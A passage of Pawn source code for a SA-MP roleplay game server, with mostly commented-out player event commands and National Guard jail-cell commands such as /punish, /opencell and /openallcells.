			 if(oldname!=INVALID_PLAYER_ID&&PINFO[oldname][pOnline] != 0)return SCM(playerid,COLOR_YELLOW2,"Error: That player is online.");
			 //if(PINFO[oldname][pAdmin] > PINFO[playerid][pAdmin])return SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command for your higher ranks people.");
				new query[64];
			mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pName='%e'",oldname);
				mysql_tquery(handle,query,"OnOfflineChangeNickSearch","ssi",oldname,taraf,playerid);
				return 1;
			}
			*/
		/*
		if(strcmp(cmd, "/changename", true) == 0 || strcmp(cmd, "/setnickname", true) == 0)
		{
			if(PINFO[playerid][pAdmin] <= 6) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			new user = ReturnUser6(tmp);
			new para1;
			para1 = ReturnUser6(tmp);
			if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use ChangeName to your higher admins.");
			if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
		  {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_SINA2,"Error:{FF0000} You can't change another players name. you can just change your name.");
			 return 1;
		  }
		  }
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /changename <Playerid/PartOfName> <NewName>");
			new taraf = ReturnUser6(tmp);
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /changename <Playerid/PartOfName> <NewName>");
//			if(FindBadSign(tmp)) return SCM(playerid,COLOR_GG,"Use A-Z a-z 0-9 in NewName");
			gPlayerLogged[taraf] = 0;
			RequestSelected[taraf] = true;
			new query[300];
			mysql_format(handle, query,300,"SELECT * FROM `users` WHERE pName='%e'",tmp);
			mysql_function_query(handle,query,true,"OnPlayerChangeName","iiss",playerid,taraf,PINFO[taraf][pName],tmp);
			return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/requestevent", true) == 0 || strcmp(cmd, "/re", true) == 0)
		{
			new EventParameters[512];EventParameters = strtokLoL(cmdtext,idx);
			if(PINFO[playerid][pLevel] < 5) return SCM(playerid,COLOR_SINA3,"Your level is too low.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't request an event because you are sleeping.");
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: Sorry, you can't request an event when you are in jail.");
			if(HasWanted(playerid)) return SCM(playerid, COLOR_GG, "Error: Sorry, you can't request an event when you have wanted levels.");
			if(EventHave == true) return SCM(playerid,COLOR_SINA3,"An event already is on going.");
			if(EventID[playerid] != 9999) return SCM(playerid,COLOR_EVENT,"You already calling for an event waiting for admins accept.");
			new Khat[15],Khats,b;
			for(new i = 0;i<strlen(EventParameters);i++)
			{
				switch(EventParameters[i])
				{
					case '|': { Khat[b] = i; Khats ++; b++;}
				}
			}
			if(Khats <= 3) return SCM(playerid,COL_SYN,"Syntax: /requestevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			new Title[256];
			if(EventParameters[0] == '|') return SCM(playerid,COL_SYN,"Syntax: /requestevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			new c;
			for(new i = 0;i<Khat[0];i++)
			{
					Title[c] = EventParameters[i]; c++;
			}
			if(!strlen(Title)) return SCM(playerid,COL_SYN,"Syntax: /requestevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			if(strlen(Title) <= 2 || strlen(Title) >= 60) return SCM(playerid,COLOR_SINA3,"Type Title with higher than 3 and lower than 60 characters.");
			new location[256],d;
			for(new i = Khat[0];i<Khat[1];i++)
			{
				if(i != Khat[0])
				{
					location[d] = EventParameters[i]; d++;
				}
			}
			if(!strlen(location)) return SCM(playerid,COL_SYN,"Syntax: /requestevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			if(strlen(location) <= 2 || strlen(location) >= 60) return SCM(playerid,COLOR_SINA3,"Type Location with higher than 3 and lower than 60 characters.");
			new rewardd[256],reward,e;
			for(new i = Khat[1];i<Khat[2];i++)
			{
				if(i != Khat[1])
				{
					rewardd[e] = EventParameters[i]; e++;
				}
			}
			if(!strlen(rewardd)) return SCM(playerid,COL_SYN,"Syntax: /requestevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			reward = strval(rewardd);
			if(reward < 1000 || reward > 500000) return SCM(playerid,COLOR_SINA3,"Price must be higher than $1,000 and lower than $500,000");
			new times[256],f;
			for(new i = Khat[2];i<Khat[3];i++)
			{
				if(i != Khat[2])
				{
					times[f] = EventParameters[i]; f++;
				}
			}
			if(!strlen(times)) return SCM(playerid,COL_SYN,"Syntax: /requestevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			if(strlen(times) >= 6) return SCM(playerid,COLOR_SINA3,"Time is wrong, type a time example: 12:00");
			new p,l;
			for(new i = 0;i<strlen(times);i++) { switch(times[i]) { case ':': {p++;l = i;} } }
			if(p >= 2) return SCM(playerid,COLOR_SINA3,"Time is wrong, type a time example: 12:00");
			if(l != 1 && l != 2) return SCM(playerid,COLOR_SINA3,"Time is wrong, type a time example: 12:00");
			new Hour[5],Min[5],Hourr,Minn;
			if(l == 1){Hour[0] = '0';Hour[1] = times[0];strins(times,"0",0,256);Min[0] = times[3];if(strlen(times) == 5) {Min[1] = times[4];}}
			else { Hour[0] = times[0]; Hour[1] = times[1]; Min[0] = times[3]; if(strlen(times) == 5) Min[1] = times[4]; }
			Hourr = strval(Hour);Minn = strval(Min);
			if((Hourr >= 24 || Hourr <= -1) || (Minn >= 61 || Minn <= -1)) return SCM(playerid,COLOR_SINA3,"Time is wrong, type a time example: 00:00");
			if(strlen(Min) == 1)
			{
				strins(Min,"0",0,5);
				strins(times,"0",3,256);
			}
			new desc[256],g;
			for(new i = Khat[3];i<strlen(EventParameters);i++)
			{
				if(i != Khat[3])
				{
					desc[g] = EventParameters[i]; g++;
				}
			}
			if(!strlen(desc)) return SCM(playerid,COL_SYN,"Syntax: /requestevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			if(strlen(desc) <= 2 || strlen(desc) >= 60) return SCM(playerid,COLOR_SINA3,"Type Descriptaion with higher than 3 and lower than 80 characters.");
			new returnevent = ReturnEventID();
			EventIDUsed[returnevent] = true;
			EventIDOrg[returnevent] = playerid;
			EventID[playerid] = returnevent;
			strmid(EventTitle[playerid],Title,0,strlen(Title),60);
			strmid(EventLocation[playerid],location,0,strlen(location),60);
			strmid(EventTime[playerid],times,0,strlen(times),20);
			strmid(EventDesc[playerid],desc,0,strlen(desc),80);
			EventReward[playerid] = reward;
			new string[330];
			format(string,330,"Event ID %d: Title: %s, Prize: $%s, Location: %s, Time: %s",returnevent,Title,FormatNumber(reward),location,times);
			SCM(playerid,COLOR_YELLOW,string);
			EventAdminSay(COLOR_YELLOW,string);
			format(string,330,"Event ID %d: Organizer: %s, Description: %s",returnevent,PINFO[playerid][pName],desc);
			SCM(playerid,COLOR_YELLOW,string);
			EventAdminSay(COLOR_YELLOW,string);
			format(string,330,"[AdmBot]: Use /aaevent %d to accept this event.",returnevent);
			EventAdminSay(COLOR_YELLOW,string);
			SCM(playerid,COLOR_SINA3,"You must waiting for admins to accept this event.");
			return 1;
		}
		*/
		/*
		if(strcmp(cmd, "/createevent", true) == 0 || strcmp(cmd, "/ce", true) == 0)
		{
			new EventParameters[512];EventParameters = strtokLoL(cmdtext,idx);
			if(PINFO[playerid][pLevel] < 5) return SCM(playerid,COLOR_SINA3,"Your level is too low.");
			if(InSleep[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't request an event because you are sleeping.");
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: Sorry, you can't request an event when you are in jail.");
			if(HasWanted(playerid)) return SCM(playerid, COLOR_GG, "Error: Sorry, you can't request an event when you have wanted levels.");
			if(EventHave == true) return SCM(playerid,COLOR_SINA3,"An event already is on going.");
			if(EventID[playerid] != 9999) return SCM(playerid,COLOR_EVENT,"You already calling for an event waiting for admins accept.");
			new Khat[15],Khats,b;
			for(new i = 0;i<strlen(EventParameters);i++)
			{
				switch(EventParameters[i])
				{
					case '|': { Khat[b] = i; Khats ++; b++;}
				}
			}
			if(Khats <= 3) return SCM(playerid,COL_SYN,"Syntax: /createevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			new Title[256];
			if(EventParameters[0] == '|') return SCM(playerid,COL_SYN,"Syntax: /createevent <Tiltle>|<Location>|<Price>|<Time>|<Descriptaion>");
			new c;
			for(new i = 0;i<Khat[0];i++)
			{
					Title[c] = EventParameters[i]; c++;
			}
			if(!strlen(Title)) return SCM(playerid,COL_SYN,"Syntax: /createevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			if(strlen(Title) <= 2 || strlen(Title) >= 60) return SCM(playerid,COLOR_SINA3,"Type Title with higher than 3 and lower than 60 characters.");
			new location[256],d;
			for(new i = Khat[0];i<Khat[1];i++)
			{
				if(i != Khat[0])
				{
					location[d] = EventParameters[i]; d++;
				}
			}
			if(!strlen(location)) return SCM(playerid,COL_SYN,"Syntax: /createevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			if(strlen(location) <= 2 || strlen(location) >= 60) return SCM(playerid,COLOR_SINA3,"Type Location with higher than 3 and lower than 60 characters.");
			new rewardd[256],reward,e;
			for(new i = Khat[1];i<Khat[2];i++)
			{
				if(i != Khat[1])
				{
					rewardd[e] = EventParameters[i]; e++;
				}
			}
			if(!strlen(rewardd)) return SCM(playerid,COL_SYN,"Syntax: /createevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			reward = strval(rewardd);
			if(reward < 1000 || reward > 500000) return SCM(playerid,COLOR_SINA3,"Price must be higher than $1,000 and lower than $500,000");
			new times[256],f;
			for(new i = Khat[2];i<Khat[3];i++)
			{
				if(i != Khat[2])
				{
					times[f] = EventParameters[i]; f++;
				}
			}
			if(!strlen(times)) return SCM(playerid,COL_SYN,"Syntax: /createevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			if(strlen(times) >= 6) return SCM(playerid,COLOR_SINA3,"Time is wrong, type a time example: 12:00");
			new p,l;
			for(new i = 0;i<strlen(times);i++) { switch(times[i]) { case ':': {p++;l = i;} } }
			if(p >= 2) return SCM(playerid,COLOR_SINA3,"Time is wrong, type a time example: 12:00");
			if(l != 1 && l != 2) return SCM(playerid,COLOR_SINA3,"Time is wrong, type a time example: 12:00");
			new Hour[5],Min[5],Hourr,Minn;
			if(l == 1){Hour[0] = '0';Hour[1] = times[0];strins(times,"0",0,256);Min[0] = times[3];if(strlen(times) == 5) {Min[1] = times[4];}}
			else { Hour[0] = times[0]; Hour[1] = times[1]; Min[0] = times[3]; if(strlen(times) == 5) Min[1] = times[4]; }
			Hourr = strval(Hour);Minn = strval(Min);
			if((Hourr >= 24 || Hourr <= -1) || (Minn >= 61 || Minn <= -1)) return SCM(playerid,COLOR_SINA3,"Time is wrong, type a time example: 00:00");
			if(strlen(Min) == 1)
			{
				strins(Min,"0",0,5);
				strins(times,"0",3,256);
			}
			new desc[256],g;
			for(new i = Khat[3];i<strlen(EventParameters);i++)
			{
				if(i != Khat[3])
				{
					desc[g] = EventParameters[i]; g++;
				}
			}
			if(!strlen(desc)) return SCM(playerid,COL_SYN,"Syntax: /createevent <Tiltle>|<Location>|<Prize>|<Time>|<Descriptaion>");
			if(strlen(desc) <= 2 || strlen(desc) >= 60) return SCM(playerid,COLOR_SINA3,"Type Descriptaion with higher than 3 and lower than 80 characters.");
			new returnevent = ReturnEventID();
			EventIDUsed[returnevent] = true;
			EventIDOrg[returnevent] = playerid;
			EventID[playerid] = returnevent;
			strmid(EventTitle[playerid],Title,0,strlen(Title),60);
			strmid(EventLocation[playerid],location,0,strlen(location),60);
			strmid(EventTime[playerid],times,0,strlen(times),20);
			strmid(EventDesc[playerid],desc,0,strlen(desc),80);
			EventReward[playerid] = reward;
			new string[330];
			format(string,330,"Event ID %d: Title: %s, Prize: $%s, Location: %s, Time: %s",returnevent,Title,FormatNumber(reward),location,times);
			SCM(playerid,COLOR_YELLOW,string);
			EventAdminSay(COLOR_YELLOW,string);
			format(string,330,"Event ID %d: Organizer: %s, Description: %s",returnevent,PINFO[playerid][pName],desc);
			SCM(playerid,COLOR_YELLOW,string);
			EventAdminSay(COLOR_YELLOW,string);
			format(string,330,"[AdmBot]: Use /aaevent %d to accept this event.",returnevent);
			EventAdminSay(COLOR_YELLOW,string);
			SCM(playerid,COLOR_SINA3,"You must waiting for admins to accept this event.");
			return 1;
		}
		*/
		/*if(strcmp(cmd, "/aaevent", true) == 0 || strcmp(cmd, "/ae", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			if(EventHave == true) return SCM(playerid,COLOR_EVENT,"An event already is on going.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /aaevent <EventID>");
			new event = strval(tmp);
			if(EventIDUsed[event] == false) return SCM(playerid,COLOR_SINA3,"INVALID EVENT ID");
			if(IsPlayerConnected(EventIDOrg[event]) && gPlayerLogged[EventIDOrg[event]] == 1)
			{
				EventHave = true;
				EventOrg = EventIDOrg[event];
				SetPlayerVirtualWorld(EventOrg, 73);
				EventPlayer[EventOrg] = 1;
				new string[256];
				format(string,256,"{00FF00}Your-Event: Admin %s has been accepted your event.",PINFO[playerid][pName]);
				SCM(EventOrg,COLOR_AdminWarn,string);
				format(string,256,"{00FF00}Your-Event: If you don't know how to control your event use /EHelp.",PINFO[playerid][pName]);
				SCM(EventOrg,COLOR_AdminWarn,string);
				format(string,256,"{FFFFFF}Admin %s was accepted %s's event.",PINFO[playerid][pName],PINFO[EventOrg][pName]);
				AdminWarn(string);
				format(string,256,"Event: Title: %s, Prize: $%s, Location: %s, Time: %s",EventTitle[EventOrg],FormatNumber(EventReward[EventOrg]),EventLocation[EventOrg],EventTime[EventOrg]);
				EventSay(COLOR_YELLOW,string);
				format(string,256,"Event: Organizer: %s, Description: %s",PINFO[EventOrg][pName],EventDesc[EventOrg]);
				EventSay(COLOR_YELLOW,string);
				return 1;
			}
			else return SCM(playerid,COLOR_SINA3,"Event Organizer isn't connected.");
		}*/
		// by Sina
		/*
				if(strcmp(cmd, "/eventunlock", true) == 0 || strcmp(cmd, "/eunlock", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
				if(EventHave == false) return SCM(playerid,COLOR_Orang,"There isn't any event.");
				if(EventGotoHave == true)
				{
					SCM(playerid,COLOR_Orang,"Event join was unlocked before.");
				}
				else
				{
					GetPlayerPos(playerid, Teleportevent[0],Teleportevent[1],Teleportevent[2]);
					Telportevent[0] = GetPlayerVirtualWorld(playerid);
					Telportevent[1] = GetPlayerInterior(playerid);
					Telportevent[2] = Mahal[playerid];
					Telportevent[3] = TooHouse[playerid];
					Telportevent[4] = TooBiz[playerid];
					new string[80];
					format(string,256,"Event join enabled.",PINFO[playerid][pName]);
					EventSay(COLOR_TAXI,string);
					EventGotoHave = true;
				}
			}
			return 1;
		}
		*/
		// by Sina
		/*
		if(strcmp(cmd, "/eventlock", true) == 0 || strcmp(cmd, "/elock", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
				if(EventGotoHave == false) return SCM(playerid,COLOR_Orang,"Event join was locked before.");
				new string[80];
				format(string,256,"Event join disabled.",PINFO[playerid][pName]);
				EventSay(COLOR_TAXI,string);
				EventGotoHave = false;
			}
			return 1;
		}*/
		// goto event by Sina
		/*
		if(strcmp(cmd, "/gotoevent", true) == 0 || strcmp(cmd, "/joinevent", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(IsAtjail(playerid)) return SCM(playerid, COLOR_GG, "Error: You can't do this untill you are prisoner.");
				if(EventHave == false) return SCM(playerid,COLOR_EVENT,"Error: There isn't any event.");
				if(GetPlayerWantedLevel(playerid) >= 1)
			 {
			 SCM(playerid,COLOR_SINA2,"Error: Sorry, we can't teleport you to event because you have wanted levels.");
			 return 1;
			 }
			 if(InSleep[playerid] == 1)
			 {
			 SCM(playerid,COLOR_SINA2,"Error: You are asleep please first wake up then use this command.");
			 return 1;
			 }
			 if(EventPlayer[playerid])
			 {
			 SCM(playerid, COLOR_YELLOW2, "Error: You already in an event first quit from your event then try to join to this event");
			 return 1;
			 }
			 if(EventBan[playerid])
			 {
			 SCM(playerid, COLOR_YELLOW2, "Error: You're banned from the event.");
			 return 1;
			 }
				if(EventGotoHave == false && playerid == EventOrg)
				{
				SetPlayerPos(playerid, Teleportevent[0],Teleportevent[1],Teleportevent[2]);
				SetPlayerVirtualWorld(playerid,Telportevent[0]);
				SetPlayerInterior(playerid,Telportevent[1]);
				Mahal[playerid] = Telportevent[2];
				TooHouse[playerid] = Telportevent[3];
				TooBiz[playerid] = Telportevent[4];
				OnDuty[playerid] = 0;
				EventPlayer[playerid] = 1;
			 SetPlayerHealth(playerid, 100);
			 SetPlayerArmour(playerid, 0);
				ResetPlayerKolang(playerid);
				SCM(playerid, COLOR_GRAD1, "You have been teleported to Event but event join was locked.");
				}
				if(EventGotoHave == false && PINFO[playerid][pAdmin] >= 1)
				{
				SetPlayerPos(playerid, Teleportevent[0],Teleportevent[1],Teleportevent[2]);
				SetPlayerVirtualWorld(playerid,Telportevent[0]);
				SetPlayerInterior(playerid,Telportevent[1]);
				Mahal[playerid] = Telportevent[2];
				TooHouse[playerid] = Telportevent[3];
				TooBiz[playerid] = Telportevent[4];
				OnDuty[playerid] = 0;
				EventPlayer[playerid] = 1;
			 SetPlayerHealth(playerid, 100);
			 SetPlayerArmour(playerid, 0);
				ResetPlayerKolang(playerid);
				SCM(playerid, COLOR_GRAD1, "You have been teleported to Event but event join was locked.");
				}
				if(EventGotoHave == false && PINFO[playerid][pAdmin] == 0 && playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"Error: There isn't any Event Teleport.");
			  GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
			 GoBack1[playerid][0] = GetPlayerInterior(playerid);
			 GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
			 GoBack1[playerid][2] = Mahal[playerid];
			 GoBack1[playerid][3] = TooHouse[playerid];
			 GoBack1[playerid][4] = TooBiz[playerid];
				SetPlayerPos(playerid, Teleportevent[0],Teleportevent[1],Teleportevent[2]);
				SetPlayerVirtualWorld(playerid,Telportevent[0]);
				SetPlayerInterior(playerid,Telportevent[1]);
				Mahal[playerid] = Telportevent[2];
				TooHouse[playerid] = Telportevent[3];
				TooBiz[playerid] = Telportevent[4];
				OnDuty[playerid] = 0;
				EventPlayer[playerid] = 1;
			 SetPlayerHealth(playerid, 100);
			 SetPlayerArmour(playerid, 0);
				ResetPlayerKolang(playerid);
				SCM(playerid, COLOR_GRAD1, "You have been teleported to Event.");
			}
			return 1;
		}*/
		// by Sina
		/*
		if(!strcmp(cmd,"/quitevent",true))
		{
		if(playerid == EventOrg) return SCM(playerid,COLOR_EVENT,"Error: You can't quit from event because you are Event Organizer.");
			if(EventPlayer[playerid] == 1)
			{
			 SCM(playerid, COLOR_TAXI, "You have quited from event.");
			 EventPlayer[playerid] = 0;
			 EventB[playerid] = 1;
			}
		  if(EventHave == true && EventB[playerid] == 1)
		  {
			 SpawnPlayer(playerid);
			 EventB[playerid] = 0;
		  }
		   if(EventPlayer[playerid] == 0)
			{
					SCM(playerid, COLOR_YELLOW2, "You aren't in any event.");
		   }
		   return 1;
		}
		*/
	  // by Sina
	  // 
	  /*
		if(!strcmp(cmd,"/stopevent",true))
		{
		   new string[512];
			if(EventHave == false) return SCM(playerid,COLOR_EVENT,"There isn't any event.");
			if(playerid != EventOrg && PINFO[playerid][pAdmin] < 1 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			EventHave = false;
			EventIDUsed[EventID[EventOrg]] = false;
			EventIDOrg[EventID[EventOrg]] = INVALID_PLAYER_ID;
//			EventSay(COLOR_YELLOW,"{FF0000}[{0000FF}Event-System{FF0000}]{FFFFFF}: {00FF00}Event get overed.");
			format(string,512,"Event get overed by %s.", PINFO[playerid][pName]);
			EventSay(COLOR_TAXI, string);
			EventReward[EventOrg] = 0;
			strmid(EventTime[EventOrg],"00:00",0,strlen("00:00"),20);
			strmid(EventLocation[EventOrg],"HichJa",0,strlen("HichJa"),60);
			strmid(EventDesc[EventOrg],"KooFT",0,strlen("KooFT"),80);
			strmid(EventTitle[EventOrg],"Hichi",0,strlen("Hichi"),60);
			EventID[EventOrg] = 9999;
			EventOrg = INVALID_PLAYER_ID;
			EventGotoHave = false;
			for(new i = 0;i<EventCar;i++)
		  {
		   DestroyVehicle(EventCars[i]);
		   }
		  for(new i = 0;i<Akharish;i++)
		  {
			if(EventPlayer[i] == 1)
			{
			EventBan[i] = false;
			SetPlayerVirtualWorld(i, 0);
			TogglePlayerControllable(i, 1);
			OnFreeze[i] = 0;
			ResetPlayerKolang(i);
			SpawnPlayer(i);
			EventPlayer[i] = 0;
			}
		}
		return 1;
	  }*/
	  /*
		if(!strcmp(cmd,"/e",true))
		{
		  if(EventHave == false) return SCM(playerid,COLOR_EVENT,"There isn't any event.");
			if(playerid != EventOrg && PINFO[playerid][pAdmin] < 1) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			new loll[256];
			loll = strtokEx(cmdtext,idx);
			if(!strlen(loll)) return SCM(playerid,COL_SYN,"Syntax: /e <EventChat>");
			if(PINFO[playerid][pAdmin] == 0 && playerid == EventOrg)
			{
			new string[80];
			format(string,256,"Event organizer %s: %s",PINFO[playerid][pName],loll);
			EventSay(COLOR_EVENT,string);
			}
			if(PINFO[playerid][pAdmin] >= 1 && playerid == EventOrg)
			{
			new string[80];
			format(string,256,"Event organizer %s: %s",PINFO[playerid][pName],loll);
			EventSay(COLOR_EVENT,string);
			}
			if(PINFO[playerid][pAdmin] >= 1 && playerid != EventOrg)
			{
			new string[80];
			format(string,256,"Event admin %s: %s",PINFO[playerid][pName],loll);
			EventSay(COLOR_EVENT,string);
			}
			return 1;
		}
		if(!strcmp(cmd,"/hitoall",true))
		{
			if(playerid != EventOrg) return SCM(playerid,COLOR_EVENT,"You are not an Event Organizer.");
			new string[80];
			format(string,256,"Event organizer %s: Ba salam be tamamiye player haye khoobe %s %s.",PINFO[playerid][pName], SERVER_NAME1, SERVER_NAME2);
			EventSay(COLOR_EVENT,string);
			return 1;
		}
		if(!strcmp(cmd,"/event",true))
		{
			if(EventHave == false) return SCM(playerid,COLOR_SINA3,"There isn't any event on going.");
			new string[256];
			format(string,256,"Event: Title: %s, Prize: $%s, Location: %s, Time: %s",EventTitle[EventOrg],FormatNumber(EventReward[EventOrg]),EventLocation[EventOrg],EventTime[EventOrg]);
			SCM(playerid,COLOR_YELLOW,string);
			format(string,256,"Event: Organizer: %s, Description: %s",PINFO[EventOrg][pName],EventDesc[EventOrg]);
			SCM(playerid,COLOR_YELLOW,string);
			if(TogEvent[playerid] == true) SCM(playerid,COLOR_SINA3,"Warning: Your Event Tog is disable, to get last information about events Enable it(use /togevent)");
			return 1;
		}*/
		if(!strcmp(cmd,"/punish",true))
		{
			if(PINFO[playerid][pMember] != 3 && PINFO[playerid][pLeader] != 3) return SCM(playerid,COLOR_BLUE,"You are not a national guard member.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /punish <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_SINA3,"Player is not connected.");
			if(PINFO[user][pJailTime] <= 0) return SCM(playerid,COLOR_SINA3,"That player isn't a prisoner");
			//new ali = random(sizeof(InJail));
			//SetPlayerPos(user, InJail[ali][0] , InJail[ali][1] , InJail[ali][2]);
			SetPlayerToJail(user);
			TogglePlayerControllable(user,0);
			PlayerCuffedTime[user] = 300;
			new string[256];
			format(string,256,"You have been punished by guard %s for 300 seconds.",PINFO[playerid][pName]);
			SCM(user,COLOR_Good,string);
			format(string, sizeof(string), "{0000FF}[{00FF00}F-Warn{0000FF}]{FF0000}:{FFFF00} NG %s punished %s for 300 seconds.", PlayerInfo[playerid][pName], PlayerInfo[user][pName]);
			SendFamilyMessage(3, COLOR_LIGHTRED, string, string);
			//SetPlayerInterior(user, 1);
			return 1;
		}
		if(!strcmp(cmd,"/opencell",true))
		{
		new icanopen = 0;
		if(IsAHacker(playerid) && ImHackedGates[playerid] == 1) icanopen = 1;
			if(PINFO[playerid][pLeader] != 3 && PINFO[playerid][pMember] != 3 && PINFO[playerid][pLeader] != 20 && PINFO[playerid][pMember] != 20 && icanopen == 0) return SCM(playerid,COLOR_BLUE,"You are not a National Guard.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /opencell <CellID>");
			new cell = strval(tmp);
			if(cell <= 0 && cell >= 14) return SCM(playerid,COLOR_YELLOW2,"Error: Invalid cell id entered.");
			if(!IsPlayerInRangeOfPoint(playerid,4,NormalBiroonJail[cell][0],NormalBiroonJail[cell][1],NormalBiroonJail[cell][2])) return SCM(playerid,COLOR_SINA3,"You must be near this cell to open it.");
			if(ZendanInfoEx[cell][ciOpened] == true) return SCM(playerid,COLOR_SINA3,"This cell is already opened.");
			MoveDynamicObject(ZendanInfoEx[cell][ciObjID],ZendanInfoEx[cell][CellOpenx],ZendanInfoEx[cell][CellOpenY],ZendanInfoEx[cell][CellOpenZ],3,ZendanInfoEx[cell][CellOpenRotX],ZendanInfoEx[cell][CellOpenRotY],ZendanInfoEx[cell][CellOpenRotZ]);
			new strlol[100];
			format(strlol,100,"Cell %i has been opened.",cell);
			SCM(playerid,COLOR_GG,strlol);
			format(strlol,100,"Cell: %i\n Use /closecell %i to close this cell.",cell,cell);
			UpdateDynamic3DTextLabelText(ZendanInfoEx[cell][ci3D],COLOR_WHITE,strlol);
			ZendanInfoEx[cell][ciOpened] = true;
			return 1;
		}
		if(!strcmp(cmd,"/closecell",true))
		{
		new icanclose = 0;
		if(IsAHacker(playerid) && ImHackedGates[playerid] == 1) icanclose = 1;
			if(PINFO[playerid][pLeader] != 3 && PINFO[playerid][pMember] != 3 && PINFO[playerid][pLeader] != 20 && PINFO[playerid][pMember] != 20 && icanclose == 0) return SCM(playerid,COLOR_BLUE,"You are not a National Guard.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /closecell <CellID>");
			new cell = strval(tmp);
			if(cell <= 0 && cell >= 14) return SCM(playerid,COLOR_YELLOW2,"Error: Invalid cell id entered.");
			if(!IsPlayerInRangeOfPoint(playerid,4,NormalBiroonJail[cell][0],NormalBiroonJail[cell][1],NormalBiroonJail[cell][2])) return SCM(playerid,COLOR_SINA3,"You must be near this cell to close it.");
			if(ZendanInfoEx[cell][ciOpened] == false) return SCM(playerid,COLOR_SINA3,"This cell is already closed.");
			MoveDynamicObject(ZendanInfoEx[cell][ciObjID],ZendanInfoEx[cell][CellCloseX],ZendanInfoEx[cell][CellCloseY],ZendanInfoEx[cell][CellCloseZ],3,ZendanInfoEx[cell][CellCloseRotX],ZendanInfoEx[cell][CellCloseRotY],ZendanInfoEx[cell][CellCloseRotZ]);
			new strlol[100];
			format(strlol,100,"Cell %i has been closed.",cell);
			SCM(playerid,COLOR_GG,strlol);
			format(strlol,100,"Cell: %i\n Use /opencell %i to open this cell.",cell,cell);
			UpdateDynamic3DTextLabelText(ZendanInfoEx[cell][ci3D],COLOR_WHITE,strlol);
			ZendanInfoEx[cell][ciOpened] = false;
			return 1;
		}
		if(!strcmp(cmd,"/openallcells",true))
		{
		  if(PINFO[playerid][pLeader] != 3 && PINFO[playerid][pMember] != 3) return SCM(playerid,COLOR_BLUE,"You are not a national guard member.");
		  if(!IsPlayerInRangeOfPoint(playerid,4,2589.205810, -1500.543701, -48.914062)) return SCM(playerid,COLOR_SINA3,"You must be near jail control panel.");
		  if(allcell == true) return SCM(playerid,COLOR_SINA3,"All cells is already opened.");
		  new strlol[100];
		  for(new cell = 1;cell<sizeof(ZendanInfoEx);cell++)
		  {
			MoveDynamicObject(ZendanInfoEx[cell][ciObjID],ZendanInfoEx[cell][CellOpenx],ZendanInfoEx[cell][CellOpenY],ZendanInfoEx[cell][CellOpenZ],1,ZendanInfoEx[cell][CellOpenRotX],ZendanInfoEx[cell][CellOpenRotY],ZendanInfoEx[cell][CellOpenRotZ]);
			format(strlol,100,"Cell: %i\n Use /closecell %i to close this cell.",cell,cell);
			UpdateDynamic3DTextLabelText(ZendanInfoEx[cell][ci3D],COLOR_WHITE,strlol);
			ZendanInfoEx[cell][ciOpened] = true;
		  }
		  allcell = true;
		  SCM(playerid,COLOR_GG,"All cells has been opened successfully.");
		  UpdateDynamic3DTextLabelText(OAC3D,COLOR_WHITE,"Jail Control Panel\nUse /closeallcells to close all cells");
		  return 1;
		}
		/*if(!strcmp(cmd,"/openyard",true))
		{
		  if(PINFO[playerid][pLeader] != 3 && PINFO[playerid][pMember] != 3) return SCM(playerid,COLOR_YELLOW2,"Error: You are not a National Guard.");
